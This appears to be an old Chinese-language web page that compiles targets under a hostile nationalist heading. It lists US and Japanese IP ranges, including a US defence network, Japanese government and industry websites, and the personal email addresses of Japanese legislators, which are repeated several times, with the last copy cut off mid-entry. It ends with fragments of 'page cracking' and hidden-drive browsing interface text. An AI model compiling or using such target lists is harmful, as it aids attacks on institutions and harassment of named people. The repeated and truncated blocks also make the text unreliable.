195.112.174.000 195.112.174.039 美国

195.112.174.044 195.112.174.047 美国

195.112.174.052 195.112.174.123 美国

195.112.174.128 195.112.174.151 美国

195.112.174.160 195.112.174.195 美国

195.112.174.200 195.112.174.215 美国

195.112.174.220 195.112.174.247 美国

195.112.174.252 195.112.174.255 美国

195.112.184.001 195.112.184.016 美国

195.112.184.018 195.112.184.018 美国

195.112.184.020 195.112.184.021 美国

195.112.184.024 195.112.184.024 美国
195.112.184.028 195.112.184.028 美国
195.112.184.030 195.112.184.030 美国

195.112.184.033 195.112.184.037 美国

195.112.184.040 195.112.184.064 美国
195.112.184.066 195.112.184.073 美国
195.112.184.075 195.112.184.090 美国

195.112.184.092 195.112.184.094 美国
195.112.184.096 195.112.184.104 美国

195.112.184.111 195.112.184.111 美国

195.112.184.113 195.112.184.119 美国
195.112.184.121 195.112.184.123 美国
195.112.184.125 195.112.184.125 美国
195.112.184.127 195.112.184.129 美国
195.112.184.132 195.112.184.132 美国

195.112.184.136 195.112.184.138 美国

195.112.184.141 195.112.184.143 美国

195.112.184.145 195.112.184.145 美国

195.112.184.147 195.112.184.156 美国

195.112.185.002 195.112.185.005 美国

195.112.185.007 195.112.185.008 美国

195.112.185.010 195.112.185.010 美国

195.112.185.012 195.112.185.012 美国

195.112.185.014 195.112.185.014 美国

195.112.185.016 195.112.185.016 美国

195.112.185.018 195.112.185.025 美国

195.112.185.027 195.112.185.032 美国

195.112.185.034 195.112.185.043 美国

195.112.185.045 195.112.185.047 美国

195.112.185.049 195.112.185.049 美国

195.112.185.051 195.112.185.051 美国

195.112.185.053 195.112.185.057 美国
195.112.185.059 195.112.185.060 美国
195.112.185.062 195.112.185.066 美国

195.112.185.069 195.112.185.069 美国
195.112.185.072 195.112.185.076 美国
195.112.185.078 195.112.185.087 美国

195.112.185.089 195.112.185.094 美国
195.112.185.097 195.112.185.099 美国
195.112.185.101 195.112.185.121 美国
195.112.185.123 195.112.185.126 美国
195.112.185.129 195.112.185.130 美国

195.112.185.132 195.112.185.138 美国
195.112.185.140 195.112.185.142 美国

195.112.185.146 195.112.185.147 美国

195.112.185.149 195.112.185.149 美国

195.112.185.154 195.112.185.155 美国

195.112.185.157 195.112.185.158 美国

195.112.185.163 195.112.185.165 美国

195.112.185.167 195.112.185.167 美国

195.112.185.169 195.112.185.171 美国
195.112.185.175 195.112.185.175 美国

195.112.185.177 195.112.185.181 美国
195.112.185.184 195.112.185.184 美国

195.112.185.186 195.112.185.194 美国

195.112.185.197 195.112.185.197 美国

195.112.185.205 195.112.185.206 美国

195.112.185.208 195.112.185.208 美国

195.112.185.210 195.112.185.215 美国

195.112.185.217 195.112.185.218 美国

195.112.185.220 195.112.185.222 美国

195.112.185.225 195.112.185.227 美国

195.112.185.230 195.112.185.231 美国
195.112.185.234 195.112.185.237 美国
195.112.185.239 195.112.185.239 美国
195.112.185.241 195.112.185.241 美国

195.112.185.244 195.112.185.246 美国

195.112.185.253 195.112.185.253 美国

195.112.186.004 195.112.186.051 美国
195.112.186.060 195.112.186.083 美国

195.112.186.088 195.112.186.095 美国

195.112.186.100 195.112.186.119 美国

195.112.186.124 195.112.186.135 美国

195.112.186.140 195.112.186.151 美国

195.112.186.156 195.112.186.167 美国

195.112.186.172 195.112.186.179 美国

195.112.186.184 195.112.186.195 美国

195.112.186.204 195.112.186.207 美国

195.112.186.232 195.112.186.239 美国

195.112.186.248 195.112.186.255 美国

195.112.187.008 195.112.187.063 美国

195.112.187.068 195.112.187.075 美国

195.112.187.088 195.112.187.103 美国

195.112.187.112 195.112.187.127 美国

195.112.187.136 195.112.187.147 美国

195.112.187.152 195.112.187.167 美国

195.112.187.176 195.112.187.179 美国

195.112.187.184 195.112.187.203 美国

195.112.187.212 195.112.187.223 美国

195.112.187.232 195.112.187.243 美国

195.112.187.248 195.112.187.251 美国

195.112.188.004 195.112.188.023 美国

195.112.188.032 195.112.188.039 美国

195.112.188.052 195.112.188.055 美国

195.112.188.060 195.112.188.063 美国

195.112.188.068 195.112.188.083 美国

195.112.188.088 195.112.188.115 美国

195.112.188.124 195.112.188.147 美国

195.112.188.160 195.112.188.171 美国

195.112.188.176 195.112.188.179 美国

195.112.188.184 195.112.188.199 美国

195.112.188.212 195.112.188.223 美国

195.112.188.240 195.112.188.243 美国

195.112.188.248 195.112.188.251 美国

195.112.189.004 195.112.189.043 美国

195.112.189.048 195.112.189.051 美国

195.112.189.056 195.112.189.123 美国

195.112.189.128 195.112.189.131 美国

195.112.189.140 195.112.189.151 美国

195.112.189.156 195.112.189.163 美国

195.112.189.168 195.112.189.179 美国

195.112.189.184 195.112.189.187 美国

195.112.189.192 195.112.189.207 美国

195.112.189.212 195.112.189.227 美国

195.112.189.236 195.112.189.243 美国

195.112.189.248 195.112.189.255 美国

195.112.191.003 195.112.191.006 美国
195.112.191.030 195.112.191.030 美国
195.112.191.049 195.112.191.049 美国

195.112.191.126 195.112.191.126 美国
195.112.191.128 195.112.191.128 美国
195.112.191.130 195.112.191.130 美国

197.000.000.000 197.255.255.255 美国 中部/南部(IANA)

198.000.000.000 198.255.255.255 美国

200.187.196.000 200.187.198.255 美国 中部/南部 201.000.000.000 201.255.255.255 美国 中部/南部(IANA)

202.000.192.000 202.000.255.255 美国

202.020.112.000 202.020.112.255 关岛

202.128.000.000 202.128.095.255 关岛

214.000.000.000 215.255.255.255 美国 国防部网络(弗吉尼亚州)

224.000.000.000 224.255.255.255 美国 南加利福尼亚大学
---------------------------------------------------------------------------

小日本的网站、IP、电子信箱

总理大臣居所 http://www.kantei.go.jp/index-e.html
总理办公室 http://www.sorifu.go.jp/english/index-e.html
安全部 http://www.jda.go.jp/index_e.html
经济部 http://www.epa.go.jp/
科技部 http://www.sta.go.jp/index-e.html
环境部 http://mx.eic.or.jp/eanet/index-e.html
发展部 http://www.oda.go.jp/ /
土地部 http://www.nla.go.jp/welcome-e.html
贸易部 http://www.jftc.go.jp/e-page/f_home.htm
外务省 http://www.mofa.go.jp/ /
财政部 http://www.mof.go.jp/english/index.htm
教育部 http://www.monbu.go.jp/emindex.html
卫生部 http://www.mhw.go.jp/english/index.html
农林牧副渔部 http://www.maff.go.jp/eindex.html
国贸部 http://www.miti.go.jp/index-e.html
交通部 http://www.motnet.go.jp/index.htm
邮电部 http://www.mpt.go.jp/index-e.html
劳动部 http://www.mol.go.jp/english/index.htm
建设部 http://www.moc.go.jp/eng/eng/index.htm
内务部 http://www.mha.go.jp/eng/index.htm

日本各市县政府机构
Aichi http://www.pref.aichi.jp/index-e.html
Aomori http://www.pref.aomori.jp/home-e.html
Chiba http://www.pref.chiba.jp/index-e.html
Ehime http://www.pref.ehime.jp/index-e.htm
Fukui http://www.pref.fukui.jp/english/index.html

Fukushima http://www.pref.fukushima.jp/index_e.html

Hiroshima http://www.hiroshima-cdas.or.jp/pref/index-e.html
Hokkaido http://www.pref.hokkaido.jp/index-e.html
Hukushima http://www.pref.fukushima.jp/index_e.html
Hyogo http://web.pref.hyogo.jp/index-e.htm
Ibaraki http://www.pref.ibaraki.jp/index-e.html
Ishikawa http://www.pref.ishikawa.jp/index_e.htm
Iwate http://www.office.pref.iwate.jp/index_e.html

Kagoshima http://www.pref.kagoshima.jp/pref/english/index.html
Kanagawa http://www.pref.kanagawa.jp/index-e.html
Kochi http://www.pref.kochi.jp/~kokusai/index.html
Kyoto http://www.pref.kyoto.jp/normal/index_e.html
Mie http://www.pref.mie.jp/ENGLISH /
Miyazaki http://www.pref.miyazaki.jp/english/index.htm
Nagano http://www.pref.nagano.jp/english/index_e.htm
Nagasaki http://www.us1.nagasaki-noc.or.jp/~nagasaki/index_e.html
Nara http://www.pref.nara.jp/index-e.html
Niigata http://www.pref.niigata.jp/en/index.html

Oita http://www.coara.or.jp/OITAPref/OITA_HOME_EN.html

Okinawa http://www.pref.okinawa.jp/index.html
Osaka http://www.pref.osaka.jp/osaka-pref/indexe.html
Saga http://www.pref.saga.jp/eibun/esagaken.html
Saitama http://www.pref.saitama.jp/core_e.html
Shiga http://www.pref.shiga.jp/index-e.html
Shimane http://www.pref.shimane.jp/index_e.html
Shizuoka http://www.pref.shizuoka.jp/indexE.html
Tokyo http://www.metro.tokyo.jp/ /
Tokushima
http://www.pref.tokushima.jp/index_e.html

Toyama http://www.pref.toyama.jp/index-e.html
Wakayama http://www.wakayama.go.jp/index_e.html
Yamagata http://www.pref.yamagata.jp/index-e.html
Yamaguchi http://www.pref.yamaguchi.jp/index_e.htm
Yamanashi http://www.pref.yamanashi.jp/english/english.html

以下是集团
Japan Federation of Economic
Organizations (Keidanren)
http://www.keidanren.or.jp/

Japan Association of Corporate
Executives (KEIZAI DOYUKAI)
http://www.doyukai.or.jp/Eindex.htm

The Japan Chamber of Commerce & Industry
http://www.jcci.or.jp/home-e.html

Central Union of Agricultural Co-operatives of Japan (JA-ZENCHU)
http://www.rim.or.jp/ci/ja/ejahome.html

Federation of Bankers Associations of Japan (ZENGINKYO)
http://www.zenginkyo.or.jp/en/index.htm

The Federation of Electric Power Companies
http://www.fepc.or.jp/index_e.html

Japan Whaling Association
http://www.jp-whaling-assn.com/english/index.htm

The Japanese Institute of Certified Public Accountants
http://www.jicpa.or.jp/eng/index.html

The Japan Magazine Publishers Association
http://www.j-magazine.or.jp/FIPP/FIPPE/mokuji.html

Japan Book Publishers Association
http://www.jbpa.or.jp/default-e.htm

Japan Pharmaceutical Manufacturers Association
http://www.jpma.or.jp/english/index-e.html

The Iron and Steel Institute of Japan
http://www.isij.or.jp/e_index.htm

Japan Hotel Association
http://www.j-hotel.or.jp/english/index.html

Japanese Trade Union Confederation (RENGO)
http://www.jtuc-rengo.or.jp/english/index.html

National Confederation of Trade Unions (Zenroren)
http://www.iijnet.or.jp/c-pro/union/aa_e/index_e.html

--------------------------------------------------------------------------------

大阪县政府
http://www.pref.osaka.jp/
大阪市政府
http://www.city.osaka.jp/

--------------------------------------------------------------------------------

http://www.kantei.go.jp/">首相官邸
http://www.jinji.admix.go.jp/">人事院
http://www.clb.admix.go.jp/">内阁法制
http://www.sorifu.go.jp/">总理府
http://www.jftc.admix.go.jp/">公正取引委员
http://www.npa.go.jp/">警察厅
http://www.kouchoi.go.jp/">公害等调整委员?
http://www.kunaicho.go.jp/">宫内厅
http://www.somucho.go.jp/">总务厅
http://www.stat.go.jp/">总务厅 统计
http://www.stat.go.jp/1.htm">[英]
http://www.hda.go.jp/">北海道开发厅[日
http://www.jda.go.jp/">防卫厅
http://www.epa.go.jp/">经济企画厅
http://www.sta.go.jp/">科学技术厅
http://www.oda.go.jp/">冲绳开发厅[日
http://www.nla.go.jp/">国土厅
http://www.fsa.go.jp/">金融监督?
http://www.moj.go.jp/">法务省
http://www.mofa.go.jp/">外务省
http://www.mof.go.jp/">大藏省
http://www.nta.go.jp/">国税厅[日
http://www.monbu.go.jp/">文部省
http://www.monbu.go.jp/emindex.html">[英]
文化厅[日]
厚生省 Ministry of
http://www.maff.go.jp/">农林水产省
Ministr
http://www.miti.go.jp/">通商产业省
Ministr
http://www.hkd.miti.go.jp">MITI Hokkaido[?
http://www.tohoku.miti.go.jp"
http://www.kantou.miti.go.jp"
http://www.chubu.miti.go.jp">
http://www.miti-kansai.go.jp"
http://www.chugoku.miti.go.jp
http://www.shikoku.miti.go.jp
http://www.miti-kyushu.go.jp"
http://www.enecho.go.jp/">资源能源厅
http://www.jpo-miti.go.jp/">特许厅
http://www.motnet.go.jp/">运输省
http://www.kaiho.motnet.go.jp/">海上保安厅
http://www.kishou.go.jp/">气象
http://www.mpt.go.jp/">邮政省
http://www.mol.go.jp/">劳动省
http://www.moc.go.jp/">建设省
http://www.mha.go.jp/">自治省
http://www.fdma.go.jp/">消防厅
http://www.jbaudit.admix.go.jp/">会计检查?

--------------------------------------------------------------------------------

日本议员信箱!!!
Kazuo AICHI XW6K-AIC@asahi-net.or.jp
Tokuhiko AKAGI akagi@ingjapan.or.jp
Hiroyuki ARAI h_arai@kt.rim.or.jp
Syoukei ARAI arai-s@st.rim.or.jp
Syozo AZUMA azuma@po.jah.or.jp
Keiko CHIBA tomato@cyberoz.net
Yukio EDANO BZK03106@niftyserve.or.jp
Masanori GOTO goto@baobab.or.jp
Hiroshi HASE hase@po.incl.or.jp
Kei HATA kei-request@k-hata.or.jp
Syun HAYAMA hayama@fin.or.jp
Yoshimasa HAYASHI yogi@ymg.urban.ne.jp
Wakako HIRONAKA hironaka@st.rim.or.jp
Takashi HUKAYA tfukaya@ask.or.jp
Hajime HUNADA hajime@funada.org
Motohisa HURUKAWA
fullgen@mxv.meshnet.or.jp
Keishi HURUYA furuya@ka2.so-net.or.jp
Junji ICHII ak-ichii@icity.or.jp
Kiyoshi IMAI k-imai@avisnet.or.jp
Nobuteru ISHIHARA nobuteru@nobuteru.or.jp
Keiichi ISHII ishii229@alles.or.jp
Tetsundo IWAKUNI iwakuni@taiyo.or.jp
Mineichi IWANAGA minetsat@mediawars.or.jp
Shinya IZUMI fwhn9589@mb.infoweb.or.jp
Syozaburo JIMI jimi_m@po0.kix.or.jp
Banri KAIEDA banri@aya.com
Koji KAKIZAWA kakizawa@kiwi.co.jp
Naoto KAN naoto@root.or.jp
Seiichi KANETA kanetas@hotweb.or.jp
KANO Michihiko office@kano.or.jp
Mutsuki KATO kato@sqr.or.jp
Takashi KAWAMURA
nagoyalove@bekkoame.or.jp
Hiroshi KAWAUCHI
kawauchi@mxz.meshnet.or.jp
Yasuyuki KITAWAKI
fvgh1240@mb.infoweb.or.jp
Yuriko KOIKE yuriko@esaka.co.jp
Syoichi KONDO konchan@spice.or.jp
Taro KONO konotaro@msn.com
Kenji KOSAKA kosaka-k@avisnet.or.jp
Takashi KOSUGI
takosugi@pop1.tky.3web.e.jp
Hiroshi KUMAGAI XLD07431@niftyserve.or.jp
Hiroyasu KURIHARA hkuri@mb.infoweb.ne.jp
Takeshi MAEDA t_maeda@kt.rim.or.jp
Shigehumi MATUZAWA nmotoko@yk.rim.or.jp
Hidenao NAKAGAWA hidenao@st.rim.or.jp
Taro NAKAYAMA bd7t-nkym@asahi-net.or.jp
Hiroyoshi NISHI nishi-
24@po.infosphere.or.jp
Shingo NISHIMURA shingogo@po.iijnet.or.jp
Yasuo OGATA ogata@red.an.egg.or.jp
Katsuya OGAWA k-ogawa@adnet.or.jp
Tsuyako OHNO tsuyako-
ohno@ma3.justnet.ne.jp
Shigehiko OKUYAMA okiya@kyoto-inet.or.jp
Kouji OMI info@omi.or.jp
Shinya ONO sono@shikoku.or.jp
Tsuyoshi SAITO tsuyoshi@gpn.co.jp
Yoshihide SAKAGAMI sakaue@ja2.so-
net.or.jp
Satoshi SHIMA fwgj6879@mb.infoweb.or.jp
Hakubun SHIMOMURA info@hakubun.or.jp
Yoshitaka SHINDO shindo@sainet.or.jp
Yasuhisa SHIOZAKI shiozaki@y-
shiozaki.or.jp
Tsuneo SUZUKI tsunesan@ba.mbn.or.jp
Toshio SUZUKI info@suzuki.org
Tsutomu TAKEBE takebe-
tokyo@jsn.justnet.or.jp
Yuriko TAKEYAMA yuriko-t@t3.rim.or.jp
Kazunori TANAKA k-tanaka@kamome.or.jp
Takuya TASSO tasso@po.infosphere.or.jp
Atsuhiro TOMIZAWA sin--@mars.dtinet.or.jp
Shinako TSUCHIYA Webmaster@owls.co.jp
Yuzuru TSUZUKI tsuzuki@msd.biglobe.ne.jp
Kaneshige WAKAMATSU
kanesige@po.kumagaya.or.jp
Syu WATANABE shu@shizuokanet.or.jp
Yoshimi WATANABE yoshimi@nasu-net.or.jp
Syunichi YAMAGUCHI ky3s-YMGC@asahi-
net.or.jp
Joji YAMAMOTO george@mxv.meshnet.or.jp
Takashi YAMAMOTO jtakashi@osaka.xaxon-
net.or

--------------------------------------------------------------------------------

日本议员信箱！！！！

Kazuo AICHI XW6K-AIC@asahi-net.or.jp
Tokuhiko AKAGI akagi@ingjapan.or.jp
Hiroyuki ARAI h_arai@kt.rim.or.jp
Syoukei ARAI arai-s@st.rim.or.jp
Syozo AZUMA azuma@po.jah.or.jp
Keiko CHIBA tomato@cyberoz.net
Yukio EDANO BZK03106@niftyserve.or.jp
Masanori GOTO goto@baobab.or.jp
Hiroshi HASE hase@po.incl.or.jp
Kei HATA kei-request@k-hata.or.jp
Syun HAYAMA hayama@fin.or.jp
Yoshimasa HAYASHI yogi@ymg.urban.ne.jp
Wakako HIRONAKA hironaka@st.rim.or.jp
Takashi HUKAYA tfukaya@ask.or.jp
Hajime HUNADA hajime@funada.org
Motohisa HURUKAWA
fullgen@mxv.meshnet.or.jp
Keishi HURUYA furuya@ka2.so-net.or.jp
Junji ICHII ak-ichii@icity.or.jp
Kiyoshi IMAI k-imai@avisnet.or.jp
Nobuteru ISHIHARA nobuteru@nobuteru.or.jp
Keiichi ISHII ishii229@alles.or.jp
Tetsundo IWAKUNI iwakuni@taiyo.or.jp
Mineichi IWANAGA minetsat@mediawars.or.jp
Shinya IZUMI fwhn9589@mb.infoweb.or.jp
Syozaburo JIMI jimi_m@po0.kix.or.jp
Banri KAIEDA banri@aya.com
Koji KAKIZAWA kakizawa@kiwi.co.jp
Naoto KAN naoto@root.or.jp
Seiichi KANETA kanetas@hotweb.or.jp
KANO Michihiko office@kano.or.jp
Mutsuki KATO kato@sqr.or.jp
Takashi KAWAMURA
nagoyalove@bekkoame.or.jp
Hiroshi KAWAUCHI
kawauchi@mxz.meshnet.or.jp
Yasuyuki KITAWAKI
fvgh1240@mb.infoweb.or.jp
Yuriko KOIKE yuriko@esaka.co.jp
Syoichi KONDO konchan@spice.or.jp
Taro KONO konotaro@msn.com
Kenji KOSAKA kosaka-k@avisnet.or.jp
Takashi KOSUGI
takosugi@pop1.tky.3web.e.jp
Hiroshi KUMAGAI XLD07431@niftyserve.or.jp
Hiroyasu KURIHARA hkuri@mb.infoweb.ne.jp
Takeshi MAEDA t_maeda@kt.rim.or.jp
Shigehumi MATUZAWA nmotoko@yk.rim.or.jp
Hidenao NAKAGAWA hidenao@st.rim.or.jp
Taro NAKAYAMA bd7t-nkym@asahi-net.or.jp
Hiroyoshi NISHI nishi-24@po.infosphere.or.jp
Shingo NISHIMURA shingogo@po.iijnet.or.jp
Yasuo OGATA ogata@red.an.egg.or.jp
Katsuya OGAWA k-ogawa@adnet.or.jp
Tsuyako OHNO tsuyako-ohno@ma3.justnet.ne.jp
Shigehiko OKUYAMA okiya@kyoto-inet.or.jp
Kouji OMI info@omi.or.jp
Shinya ONO sono@shikoku.or.jp
Tsuyoshi SAITO tsuyoshi@gpn.co.jp
Yoshihide SAKAGAMI sakaue@ja2.so-net.or.jp
Satoshi SHIMA fwgj6879@mb.infoweb.or.jp
Hakubun SHIMOMURA info@hakubun.or.jp
Yoshitaka SHINDO shindo@sainet.or.jp
Yasuhisa SHIOZAKI shiozaki@y-shiozaki.or.jp
Tsuneo SUZUKI tsunesan@ba.mbn.or.jp
Toshio SUZUKI info@suzuki.org
Tsutomu TAKEBE takebe-tokyo@jsn.justnet.or.jp
Yuriko TAKEYAMA yuriko-t@t3.rim.or.jp
Kazunori TANAKA k-tanaka@kamome.or.jp
Takuya TASSO tasso@po.infosphere.or.jp
Atsuhiro TOMIZAWA sin--@mars.dtinet.or.jp
Shinako TSUCHIYA Webmaster@owls.co.jp
Yuzuru TSUZUKI tsuzuki@msd.biglobe.ne.jp
Kaneshige WAKAMATSU
kanesige@po.kumagaya.or.jp
Syu WATANABE shu@shizuokanet.or.jp
Yoshimi WATANABE yoshimi@nasu-net.or.jp
Syunichi YAMAGUCHI ky3s-YMGC@asahi-net.or.jp
Joji YAMAMOTO george@mxv.meshnet.or.jp
Takashi YAMAMOTO jtakashi@osaka.xaxon-net.or

--------------------------------------------------------------------------------

日本议员信箱！！！！

Kazuo AICHI XW6K-AIC@asahi-net.or.jp
Tokuhiko AKAGI akagi@ingjapan.or.jp
Hiroyuki ARAI h_arai@kt.rim.or.jp
Syoukei ARAI arai-s@st.rim.or.jp
Syozo AZUMA azuma@po.jah.or.jp
Keiko CHIBA tomato@cyberoz.net
Yukio EDANO BZK03106@niftyserve.or.jp
Masanori GOTO goto@baobab.or.jp
Hiroshi HASE hase@po.incl.or.jp
Kei HATA kei-request@k-hata.or.jp
Syun HAYAMA hayama@fin.or.jp
Yoshimasa HAYASHI yogi@ymg.urban.ne.jp
Wakako HIRONAKA hironaka@st.rim.or.jp
Takashi HUKAYA tfukaya@ask.or.jp
Hajime HUNADA hajime@funada.org
Motohisa HURUKAWA
fullgen@mxv.meshnet.or.jp
Keishi HURUYA furuya@ka2.so-net.or.jp
Junji ICHII ak-ichii@icity.or.jp
Kiyoshi IMAI k-imai@avisnet.or.jp
Nobuteru ISHIHARA nobuteru@nobuteru.or.jp
Keiichi ISHII ishii229@alles.or.jp
Tetsundo IWAKUNI iwakuni@taiyo.or.jp
Mineichi IWANAGA minetsat@mediawars.or.jp
Shinya IZUMI fwhn9589@mb.infoweb.or.jp
Syozaburo JIMI jimi_m@po0.kix.or.jp
Banri KAIEDA banri@aya.com
Koji KAKIZAWA kakizawa@kiwi.co.jp
Naoto KAN naoto@root.or.jp
Seiichi KANETA kanetas@hotweb.or.jp
KANO Michihiko office@kano.or.jp
Mutsuki KATO kato@sqr.or.jp
Takashi KAWAMURA
nagoyalove@bekkoame.or.jp
Hiroshi KAWAUCHI
kawauchi@mxz.meshnet.or.jp
Yasuyuki KITAWAKI
fvgh1240@mb.infoweb.or.jp
Yuriko KOIKE yuriko@esaka.co.jp
Syoichi KONDO konchan@spice.or.jp
Taro KONO konotaro@msn.com
Kenji KOSAKA kosaka-k@avisnet.or.jp
Takashi KOSUGI
takosugi@pop1.tky.3web.e.jp
Hiroshi KUMAGAI XLD07431@niftyserve.or.jp
Hiroyasu KURIHARA hkuri@mb.infoweb.ne.jp
Takeshi MAEDA t_maeda@kt.rim.or.jp
Shigehumi MATUZAWA nmotoko@yk.rim.or.jp
Hidenao NAKAGAWA hidenao@st.rim.or.jp
Taro NAKAYAMA bd7t-nkym@asahi-net.or.jp
Hiroyoshi NISHI nishi-24@po.infosphere.or.jp
Shingo NISHIMURA shingogo@po.iijnet.or.jp
Yasuo OGATA ogata@red.an.egg.or.jp
Katsuya OGAWA k-ogawa@adnet.or.jp
Tsuyako OHNO tsuyako-ohno@ma3.justnet.ne.jp
Shigehiko OKUYAMA okiya@kyoto-inet.or.jp
Kouji OMI info@omi.or.jp
Shinya ONO sono@shikoku.or.jp
Tsuyoshi SAITO tsuyoshi@gpn.co.jp
Yoshihide SAKAGAMI sakaue@ja2.so-net.or.jp
Satoshi SHIMA fwgj6879@mb.infoweb.or.jp
Hakubun SHIMOMURA info@hakubun.or.jp
Yoshitaka SHINDO shindo@sainet.or.jp
Yasuhisa SHIOZAKI shiozaki@y-shiozaki.or.jp
Tsuneo SUZUKI tsunesan@ba.mbn.or.jp
Toshio SUZUKI info@suzuki.org
Tsutomu TAKEBE takebe-tokyo@jsn.justnet.or.jp
Yuriko TAKEYAMA yuriko-t@t3.rim.or.jp
Kazunori TANAKA k-tanaka@kamome.or.jp
Takuya TASSO tasso@po.infosphere.or.jp
Atsuhiro TOMIZAWA sin--@mars.dtinet.or.jp
Shinako TSUCHIYA Webmaster@owls.co.jp
Yuzuru TSUZUKI tsuzuki@msd.biglobe.ne.jp
Kaneshige WAKAMATSU
kanesige@po.kumagaya.or.jp
Syu WATANABE shu@shizuokanet.or.jp
Yoshimi WATANABE yoshimi@nasu-net.or.jp
Syunichi YAMAGUCHI ky3s-YMGC@asahi-net.or.jp
Joji YAMAMOTO george@mxv.meshnet.or.jp
Takashi YAMAMOTO jtakashi@osaka.xaxon-net.or

--------------------------------------------------------------------------------

日本议员信箱！！！！

Kazuo AICHI XW6K-AIC@asahi-net.or.jp
Tokuhiko AKAGI akagi@ingjapan.or.jp
Hiroyuki ARAI h_arai@kt.rim.or.jp
Syoukei ARAI arai-s@st.rim.or.jp
Syozo AZUMA azuma@po.jah.or.jp
Keiko CHIBA tomato@cyberoz.net
Yukio EDANO BZK03106@niftyserve.or.jp
Masanori GOTO goto@baobab.or.jp
Hiroshi HASE hase@po.incl.or.jp
Kei HATA kei-request@

日本的IP地址分配

202.011.000.000 202.011.255.255
202.012.008.000 202.012.015.255
202.013.000.000 202.013.127.255
202.013.128.000 202.013.191.255
202.013.192.000 202.013.223.255
202.013.224.000 202.013.239.255
202.013.240.000 202.013.247.255
202.013.248.000 202.013.251.255
202.013.252.000 202.013.253.255
202.013.254.000 202.013.254.255
202.015.000.000 202.015.255.255
202.016.000.000 202.019.255.255
202.020.090.000 202.020.090.255
202.020.110.000 202.020.110.255
202.020.123.000 202.020.123.255
202.020.124.000 202.020.124.255
202.021.112.000 202.021.127.255
202.021.150.000 202.021.151.255
202.021.152.000 202.021.153.255
202.022.064.000 202.022.127.255
202.023.000.000 202.023.255.255
202.024.000.000 202.025.255.255
202.026.000.000 202.026.255.255
202.032.000.000 202.035.255.255
202.048.000.000 202.048.255.255
202.139.192.000 202.139.207.255
202.140.000.000 202.140.031.255
202.176.000.032 202.176.000.063
202.176.000.064 202.176.000.127
202.176.000.128 202.176.000.255
202.176.001.000 202.176.001.255
202.176.002.000 202.176.003.255
202.208.000.000 202.255.255.255
203.136.000.000 203.141.255.255
203.178.000.000 203.183.255.255
203.216.000.000 203.216.255.255
210.007.128.000 210.007.255.255
210.081.000.000 210.081.031.255
210.088.000.000 210.088.191.255
210.128.000.000 210.175.255.255
210.188.000.000 210.191.255.255
210.196.000.000 210.199.255.255
210.224.000.000 210.239.255.255
210.248.000.000 210.255.255.255


页面破解

输入网址按查看钮


电脑资源管理器

(进入被隐藏的硬盘)
点击以下按钮进入相应驱动器
点击以下链接进入相应驱动器
A盘 | C盘 | D盘 | E盘 | F盘 | G盘 | H盘
点击以下按钮管理“我的电脑”